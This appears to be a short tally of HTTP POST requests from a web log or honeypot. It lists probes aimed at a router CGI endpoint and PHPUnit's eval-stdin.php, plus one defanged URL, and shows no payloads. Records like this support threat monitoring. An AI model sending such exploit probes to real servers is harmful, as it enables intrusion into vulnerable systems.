1	POST	/cgi-bin/mainfunction.cgi	HTTP/1.1
2	POST	/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	POST	http[:]//withthis[.]site/bc64fb7a405ef2818b374e2e5358e1c238902cfca25947f3b0585e1fee4ecf1ada7c051c9dc3fb11d370c63fb6e21e3685ce7d8ff2c9adb981c9be6e929e0d575c78a7289df9d377b176412c25e30f1f1883d4811ac18d1739d7f7856bf70a62	HTTP/1.1